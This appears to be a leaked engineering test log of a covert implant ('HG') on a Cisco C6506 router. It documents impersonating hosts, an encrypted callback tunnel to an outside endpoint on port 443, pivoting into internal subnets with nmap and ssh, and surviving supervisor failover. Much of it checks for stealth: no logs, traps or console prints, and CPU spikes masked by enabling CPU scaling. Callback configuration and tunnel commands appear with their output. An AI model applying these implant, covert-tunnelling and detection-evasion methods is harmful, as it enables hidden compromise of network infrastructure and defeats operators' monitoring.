      5. Tested XXX.XXX.X.XX (TOPWAY-NET[CN]) - a non existent host - cx successful as long as the IP was routed back to the device through the network properly

      6. No prints or traps observed duirng cx
      7. Tested connecting impersonating host on vlan 48 - success - still able to browse from impersonated host, no logs or traps.  Assist was laid down and then dropped when CTCounter Terrorism was disconnected.
      8. Testing sending wrong trigger sequence - current seq is 21
        1. Set to 18 and impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) while running wireshark on impersonated host
        2. Impersonated host saw no traffic, no logs, traps were sent by DUT. As expected, encoding errors incremented on output of show snmp.
        3. Enabled snmp packet debugging and tested with wrong seq number again - router reports:
          Jan 29 02:18:55.885 C6506: SNMP: Packet received via UDPUser Datagram Protocol from XXX.XXX.X.XX (TOPWAY-NET[CN]) on Vlan1

        4. Router does not see the snmp packet in debug output if sequence number is correct.
  8. Testing socket get arp survey
    1. Ran command to view arp survey data

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data
      [Success]
      Vlan: 0
      Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
      10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2016-01-28T22:23:29Z
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 00:50:56:88:3c:e4 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:11:58Z
      XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 00:50:56:88:b0:96 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 2016-01-28T22:02:57Z

      ************ Success ************
      [socket get_arp_survey_data]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

    2. Cleared arp survey data and then checked again

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data
      [Success]
      Vlan: 0
      Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
      10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2016-01-28T22:24:09Z

      ************ Success ************
      [socket get_arp_survey_data]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

    3. Ran IXIA traffic and checked again

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data
      [Success]
      Vlan: 0
      Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
      10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2016-01-28T22:43:43Z
      10.11.0.59 02:1a:c5:05:00:1b 10.11.0.1 2016-01-28T22:36:58Z
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 00:50:56:88:e1:dd XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:36:58Z
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 02:1a:c5:04:00:16 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:36:58Z
      10.11.0.51 02:1a:c5:05:00:13 10.11.0.1 2016-01-28T22:32:00Z
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 02:1a:c5:04:00:18 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:32:00Z
      XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 00:50:56:88:b0:96 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 2016-01-28T22:24:44Z

      ************ Success ************
      [socket get_arp_survey_data]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

    4. Not as many as I'd thought, however this delivery doesn't snoop.  Cleared and then viewed data while IXIA was running three times.

  9. Test of ACE
    1. Created over 25k NATNetwork Address Translation translations, IXIA traffic running in background.  DUT clean.  
    2. Stats before implantation: 


      cytolysis-1#show proc cpu
      CPU utilization for five seconds: 1%/0%; one minute: 2%; five minutes: 3%

       

      cytolysis-1#show ip nat stat
      Total active translations: 23629 (0 static, 23629 dynamic; 23629 extended)
      Outside interfaces:
      Vlan2
      Inside interfaces:
      Vlan19
      Hits: 498132 Misses: 0
      CEF Translated packets: 408030, CEF Punted packets: 333224
      Expired translations: 58242
      Dynamic mappings:
      -- Inside Source
      [Id: 1] access-list 19 pool Customer-2 refcount 23629
      pool Customer-2: netmask 255.255.255.252
      start XXX.XXX.X.XX (TOPWAY-NET[CN]) end XXX.XXX.X.XX (TOPWAY-NET[CN])
      type generic, total addresses 1, allocated 1 (100%), misses 0
      longest chain in pool: Customer-2's addr-hash: 1, average len 0,chains 1/256
      cytolysis-1#

      cytolysis-1#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 453A9990 382002800 146287016 235715784 223944216 185187724

    3. IAC attack - cpu spike to 45%.  Uploaded HG - CPU spike to 22%.
    4. Established CTCounter Terrorism session, impersonated host XXX.XXX.XX.XXX (TOPWAY-NET[CN]).
    5. Executed all of the commands listed as planned for use on CONOPConcealed Operation confluence page.
    6. No traps observed. show ip nat trans with 25k translations showed a spike in 5 second CPU.  This could be masked by briefly enabling cpu scaling.
    7. Tested enabled cpu scaling for bounds of 10 and 20.  Spike was successfully suppressed in show proc cpu hist.
    8. Performing show commands with ? mark returns the options for completing the command as well as the output from hitting return after the command
    9. Ran a show tech through ace and it worked just fine - 5 sec CPU spiked to 66%.
  10. Tunnel Test
    1. Hard reset device - then loaded HG on.
    2. Established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN]) and then set up a Tunnel with TAPVirtual Network kernel device IP XXX.XXX.XX.XXX (TOPWAY-NET[CN]).
    3. Started CovertTunnel.mod
    4. Modified callback and endpoint files.  Endpoint file set to listen on fw0, left seq at 0, use port 443 for HTTPSHypertext Transfer Protocol Secure comms.  Callback file set to use TAPVirtual Network kernel device IP:

      TapIPAddr = XXX.XXX.XX.XXX (TOPWAY-NET[CN])
      TapSubnet = 255.255.255.248
      TapMACAddr = 00:01:44:27:78:3a
      Timeout = 0
      AllowARP = 1
      Protocol = CommsH
      VLAN = 48

    5. and callback to:

      [OpenSession_HTTPS]
      Remote = XXX.XXX.X.X (QWEST-INET-6[US])
      Port = 443
      Critical = 0

    6. and impersonate:

      [IParams]
      IPAddress = XXX.XXX.X.XX (TOPWAY-NET[CN])
      SubnetMask = 255.255.255.240
      MACAddress = 00:1d:71:1f:88:7e
      TTL = 64
      VLAN = 3

    7. Initiated callback from CTCounter Terrorism session:

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun init tools/dualor/config/dualor-callback.ini
      [Pending]
      Job: 136282824
      ************ Pending ************
      [tun init tools/dualor/config/dualor-callback.ini]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> [Success]
      Job: 136282824
      ************ Success ************

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

    8. Tunnel successfully established:

      Listening for clients on port 443...
      Accepted connection from XXX.XXX.X.XX (TOPWAY-NET[CN]):8729
      Attempting SSLSecure Socket Layer Handshake...
      SSL Handshake Successful!
      Throttling tunnel connection with the parameters:
      Outbound Average Rate: 100 packets/sec
      Outbound Peak Burst Rate: 200 packets/sec
      Performing key exchange with the tunnel endpoint...
      Successfully performed key exchange with the tunnel endpoint!
      Connected with device UID: 001121b9fbb8
      Opened the TAPVirtual Network kernel device interface tap0
      Setting the tap0 interface status to down

      tap0 Interface Parameters:
      IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
      Subnet Mask: 255.255.255.248
      MACApple Operating System Address: 00-01-44-27-78-3a

      Setting the tap0 interface status to up
      Tunnel is now active

    9. TAP interface now active on ICON:

      tap0 Link encap:Ethernet HWaddr 00:01:44:27:78:3a
      inet addr:XXX.XXX.XX.XXX (TOPWAY-NET[CN]) Bcast:XXX.XXX.XX.XXX (TOPWAY-NET[CN]) Mask:255.255.255.248
      UP BROADCAST RUNNING MTU:1500 Metric:1
      RX packets:0 errors:0 dropped:0 overruns:0 frame:0
      TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:500
      RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

    10. Added route for network I want to reach:

    11. root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config# route add -net 10.11.0.0/24 dev tap0
      root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config# route -n
      Kernel IP routing table
      Destination Gateway Genmask Flags Metric Ref Use Iface
      0.0.0.0 172.20.12.1 0.0.0.0 UG 0 0 0 eth0
      10.11.0.0 0.0.0.0 255.255.255.0 U 0 0 0 tap0
      XXX.XXX.X.X (TOPWAY-NET[CN]) 192.168.88.1 255.255.0.0 UG 0 0 0 fw0
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 192.168.88.1 255.255.255.255 UGH 0 0 0 fw0
      XXX.XXX.X.XX (TOPWAY-NET[CN]) 192.168.88.1 255.255.255.255 UGH 0 0 0 fw0
      XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 0.0.0.0 255.255.255.248 U 0 0 0 tap0
      172.20.12.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
      192.168.88.1 0.0.0.0 255.255.255.255 UH 0 0 0 fw0
      root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config#

    12. Attempted to nmap hosts on 10.11.0.0/24 network but was not able to.  I was able to successfully ping and ssh into hosts on that subnet.  While watching traffic with wireshark on both the ICON and Target vm, i saw that when nmap runs, wireshark shows two arp requests for who has 10.11.0.10 and then shows duplicate MACApple Operating System address in use for XXX.XXX.XX.XXX (TOPWAY-NET[CN]) (TAPVirtual Network kernel device IP).  The two MACs reported are the TAPVirtual Network kernel device IP MACApple Operating System as well as the MACApple Operating System of interface vlan 2 and IP XXX.XXX.X.XX (TOPWAY-NET[CN]) on the DUT.

    13. Tried making my flux routes more specific so that the routes wouldn't overlap with TAPVirtual Network kernel device routes - did not fix issue.
    14. Closed tunnel, changed callback.ini file Allow ARPAddress Resolution Protocol variable to 0 and then re-initiated tunnel.  This did fix the issue.  

      oot@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config# nmap -Pnv 10.11.0.10

      Starting Nmap 6.47 ( http://nmap.org ) at 2016-01-31 17:45 UTC
      Nmap scan report for 10.11.0.10
      Host is up (0.26s latency).
      Not shown: 999 closed ports
      PORT STATE SERVICE
      22/tcp open ssh
      MAC Address: AA:BB:CC:DD:EE:FF (Unknown)

      Nmap done: 1 IP address (1 host up) scanned in 30.07 seconds
      root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config#

    15. No prints were observed on console of router throughout.

    16. Still able to ssh and ping host as well.  Attempting a more extensive nmap...
    17. Getting prints on nmap traffic to VLANVirtual Local Area Network 2 IP address 10.11.0.1.  Need to repeat and exclude that IP.
    18. Example of print to .1

      Jan 31 22:42:33.743 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.XX.XXX (TOPWAY-NET[CN])(46097) (Vlan19 0019.a993.3440) -> 10.11.0.1(2038), 1 packet

    19. Do not see that print as long as that IP is excluded.  Nmaps generate a lot of ARPAddress Resolution Protocol traffic for non-existent hosts on the network, seen on wireshark running on an existing host.

    20. Testing what happens when TAPVirtual Network kernel device IP becomes active on the network.  Changed the IP of XXX.XX.XX.XXX (CMNET[CN]) to XXX.XX.XX.XXX (CMNET[CN]) - Tunnel closed immediately:

      Tunnel is now active
      Shutting down tunnel: Client became active on the network

      Closing Dualor
      Closed the TAPVirtual Network kernel device interface tap0

    21. No prints observed.  Changed IP back to .130 and then re-established the tunnel with tap ip .131

    22. Repeated the tunnel dropping due to TAPVirtual Network kernel device ip active on the network while nmap scan was running... resulted in prints to console because ICON box (1918 space) is now routing nmap traffic directly to the DUTDevice Under Test instead of going through tunnel, and this traffic is denied by acl:

      Jan 31 23:21:27.719 C6506: %SEC-6-IPACCESSLOGDP: list Core-Net-filter-in denied icmp 172.20.12.1 (Vlan2 0021.d80d.cfc1) -> XXX.XXX.XX.XXX (TOPWAY-NET[CN]) (3/1), 1 packet

    23. No other prints observed, no traps observed.  CPU impact - 5 second spikes to 16% during tunnel establishment.  After that CPU remains low.
    24. Testing CTCounter Terrorism tunnel show commands:

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun show
      [Success]
      Tunnel Sessions
      Session ID: TAPVirtual Network kernel device IP Address: Endpoint: State:
      4 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) XXX.XXX.X.X (QWEST-INET-6[US]):443 Running
      Tunnel Listeners
      Listener ID: TAPVirtual Network kernel device IP Address:
      ************ Success ************
      [tun show]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

    25. [XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun session 4
      [Success]
      Session ID: 4
      State: Running
      Allow ARPAddress Resolution Protocol Requests: No
      Timeout: 0d 0h 0m 0s
      Duration: 0d 20h 31m 3s
      Time Left: 0d 0h 0m 0s
      Time Until Init: --
      TAPVirtual Network kernel device IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
      TAPVirtual Network kernel device MACApple Operating System Address: 00:01:44:27:78:3a
      Endpoint Address: XXX.XXX.X.X (QWEST-INET-6[US]):443
      Critical: No
      ************ Success ************
      [tun session 4]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

    26. Closed and reinitated tunnel - SUCCESS
    27. Closed and reinitated tunnel with a 2s minute timeout value - tunnel closed after 2s
    28. Tunnel is now active
      Shutting down tunnel: Tunnel has timed out

    29. Initated tunnel with 2m timeout - ssh'd into .10 and waited 2 m - SUCCESS

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun session 7
      [Success]
      Session ID: 7
      State: Running
      Allow ARPAddress Resolution Protocol Requests: No
      Timeout: 0d 0h 2m 0s
      Duration: 0d 0h 1m 55s
      Time Left: 0d 0h 0m 4s
      Time Until Init: --
      TAPVirtual Network kernel device IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
      TAPVirtual Network kernel device MACApple Operating System Address: 00:01:44:27:78:3a
      Endpoint Address: XXX.XXX.X.X (QWEST-INET-6[US]):443
      Critical: No
      ************ Success ************
      [tun session 7]

    30. Triggered a tunnel instead of using tun init

      1. changed the sequence number to 2 to match output from beacon get_current_trigger_seq

      2. root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux# ./Dualor ../config/dualor-endpoint.ini -t ../config/dualor-callback.ini
        Dualor Version 1.0.5
        Unable to open certificate file ./Cert.bin. Will build one...

        Listening for clients on port 443...
        Sending Trigger Packet...
        Trigger was successful!
        Accepted connection from XXX.XXX.X.XX (TOPWAY-NET[CN]):21193
        Attempting SSLSecure Socket Layer Handshake...
        SSL Handshake Successful!
        Throttling tunnel connection with the parameters:
        Outbound Average Rate: 100 packets/sec
        Outbound Peak Burst Rate: 200 packets/sec
        Performing key exchange with the tunnel endpoint...
        Successfully performed key exchange with the tunnel endpoint!
        Connected with device UID: 001121b9fbb8
        Opened the TAPVirtual Network kernel device interface tap0
        Setting the tap0 interface status to down

        tap0 Interface Parameters:
        IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
        Subnet Mask: 255.255.255.248
        MACApple Operating System Address: 00-01-44-27-78-3a

        Setting the tap0 interface status to up
        Tunnel is now active
        Shutting down tunnel: Tunnel has timed out

        Closing Dualor
        Closed the TAPVirtual Network kernel device interface tap0
        root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux#

      3. Was able to ssh to client.  tunnel timed out as set.
    31. Collect wireshark of tunnel establishment and teardown
    32. Test abnormal tunnel termination
      1. Established tunnel
      2. On ICON, ifconfig tap0 down
      3. ifconfig no longer shows tap0 interface
      4. tunnel is still up according to dualor and drillbit
      5. Tunnel eventually timed out due to timeout setting in .ini file
      6. Repeated but this time closed the tunnel from CTCounter Terrorism session before it could time out.  Dualor and drillbit appear to close gracefully however wireshark of ICON box shows TCPTransport Control Protocol FIN/ACK retransmissions continue from XXX.XXX.X.XX (TOPWAY-NET[CN]) for about 10 packets, then finally a RST/ACK is sent.
      7. Testing something happening to flux during the tunnel.
      8. Established tunnel
      9. Shut eth0 on flux 2
      10. CT session now unresponsive.  Dualor stayed active for a bit then disconnected:
      11. Setting the tap0 interface status to up
        Tunnel is now active
        Failed to receive data from the tunnel!

        Closing Dualor
        Closed the TAPVirtual Network kernel device interface tap0

      12. When re-establishing CTCounter Terrorism interface, had to update trigger number to match.  Given the sensitivity to triggers being sent with incorrect seq number, may be best to recommend using tun init to establish tunnel so that the trigger sequence number does not get changed in an .ini file.  Sending tunnel trigger with wrong seq also causes the snmp encoding errors to increment on DUT.
    33. Test specifying trigger seq number on command line with triggered tunnel initation:

      root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux# ./Dualor ../config/dualor-endpoint.ini -t ../config/dualor-callback.ini -q 0x10

    34. Test behavior of tunnel when pps threshold reached

      1. Established Tunnel
      2. Raised the pps by generating traffic from the impersonated CTCounter Terrorism host as well as the impersonated tunnel host
      3. lowered threshold settings to 500/1000.
      4. Tunnel did drop when the threshold was reached. No CPU spike out of the teens.

        Tunnel is now active
        Failed to receive data from the tunnel!

        Closing Dualor
        Closed the TAPVirtual Network kernel device interface tap0
        root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux#

      5. [XXX.XXX.X.XX (TOPWAY-NET[CN])]> packet get_assist_threshold_status
        [Success]
        Maximum Packets Per Second: 500
        Number of Packets Counted Per Sample: 1000
        Highest Observed Packets Per Second: 258
        Number of Overflows Since Settings Last Changed: 0
        Time of Last Overflow: --
        ************ Success ************
        [packet get_assist_threshold_status]

        [XXX.XXX.X.XX (TOPWAY-NET[CN])]> packet get_assist_threshold_status
        [Success]
        Maximum Packets Per Second: 500
        Number of Packets Counted Per Sample: 1000
        Highest Observed Packets Per Second: 679
        Number of Overflows Since Settings Last Changed: 1
        Time of Last Overflow: 2016-02-01T20:20:46Z
        ************ Success ************
        [packet get_assist_threshold_status]

        [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

      6. Test Tunnel using tap ip of vlan 3
        1. Reloaded device
        2. install HG
        3. Establish CT
        4. start dualor module
        5. create tunnel - tap ip on vlan 3 - XXX.XXX.X.XX (TOPWAY-NET[CN]) and impersonated XXX.XXX.XX.XXX (TOPWAY-NET[CN]).  Added flux route for XXX.XXX.XX.XX (TOPWAY-NET[CN])/29 and tunnel came up.
        6. Successfully nmap'd vlan 19 hosts.  no prints observed
      7. tested impersonated host becomes active on the network - tunnel drops as soon as impersonated host becomes active.  
  11. SUP failover testing
    1. With hg installed, forced a failover via CLI.  Rebooted on other SUP.  as expected, CEF assist that was laid down for impersonated host on customer 1 - XXX.XXX.X.XX (TOPWAY-NET[CN]) was still present:
    2. cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
      XXX.XXX.X.XX (TOPWAY-NET[CN])/32
      receive
      cytolysis-1#

    3. That client cannot browse internet.  cleared cef on sup720. doesn't fix it. clear ip route did fix it.
    4. SUccessfully re-installed HG on sup in slot 6.
    5. reloaded device to start with a clean device.  will attempt to install, failover, then reinstall without clearing route, impersonating same host
    6. installed hg, established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
    7. forced failover through cli - veriufied that host cannot get out, RAArd still in place.
    8. installed hg and that did fix the host, 1.82 can now get out.  RAA still in place. Established CTCounter Terrorism session successfully.
    9. Failed BACK over.  RAA still in place.  Reinstall HG.  Establish CTCounter Terrorism session.  SUCCESS.
    10. Disconnected CTCounter Terrorism session and now RAA is dropped:

      cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
      XXX.XXX.X.XX (TOPWAY-NET[CN])/32
      receive
      cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
      XXX.XXX.X.XX (TOPWAY-NET[CN])/32
      attached to Vlan3

    11. Reloaded to start with a clean device.  Testing HG install - failover, then fail right back and reinstall. SUCCESS.

    12. Reloaded device - testing sup failover when primary is physically pulled.
    13. Installed HG.  verified install by est CTCounter Terrorism session, then closed it.
    14. Pulled primary sup - failed over without any problems.  Re-installed sup in slot 5.  Failed back over to slot 5 as active.
    15. Reinstalled HG - SUCCESS
    16. Reloaded - Testing installing HG, pulling SUP and then installing on new
    17. Reloaded DUT
    18. Installed HG.
    19. Forced failover through CI
    20. reinstalled hg - established CTCounter Terrorism session.  SUCCESS
    21. Reloaded - sup in slot 5 does not boot, goes to rommon

      Autoboot executing command: "boot bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin"
      Loading image, please wait ...

      device does not contain a valid magic number
      loadprog: error - on file open
      boot: cannot load "bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin"
      Exit at the end of BOOT string
      rommon 1 > boot
      device does not contain a valid magic number
      boot: cannot open "bootdisk:"
      boot: cannot determine first file name on device "bootdisk:"
      rommon 2 > boot system bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin
      Loading image, please wait ...

      Invalid device specified
      Booting from default device
      device does not contain a valid magic number
      boot: cannot open "bootdisk:"
      an alternate boot helper program is not specified
      (monitor variable "BOOTLDR" is not set)
      and unable to determine first file in bootflash
      loadprog: error - on file open
      boot: cannot load "system bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin"
      rommon 3 >

    22. sup in slot 6 does load.

    23. reseated sup in slot 5 and it booted successfully as standy by.  Tried reload again. - SUCCESS.  sup in slot 5 now active
    24. Reloading again to start with a clean device and attempt to repro the rommon condition
    25. Install HG, force failover through cli
    26. Reinstall HG on sup in slot6 - done.  
    27. Reload to fail back to slot 5- successful.  Could not reproduce the error above.  Might not have been due to HG.

 

e-Highlighter

Click to send permalink to address bar, or right-click to copy permalink.

Un-highlight all Un-highlight selectionu Highlight selectionh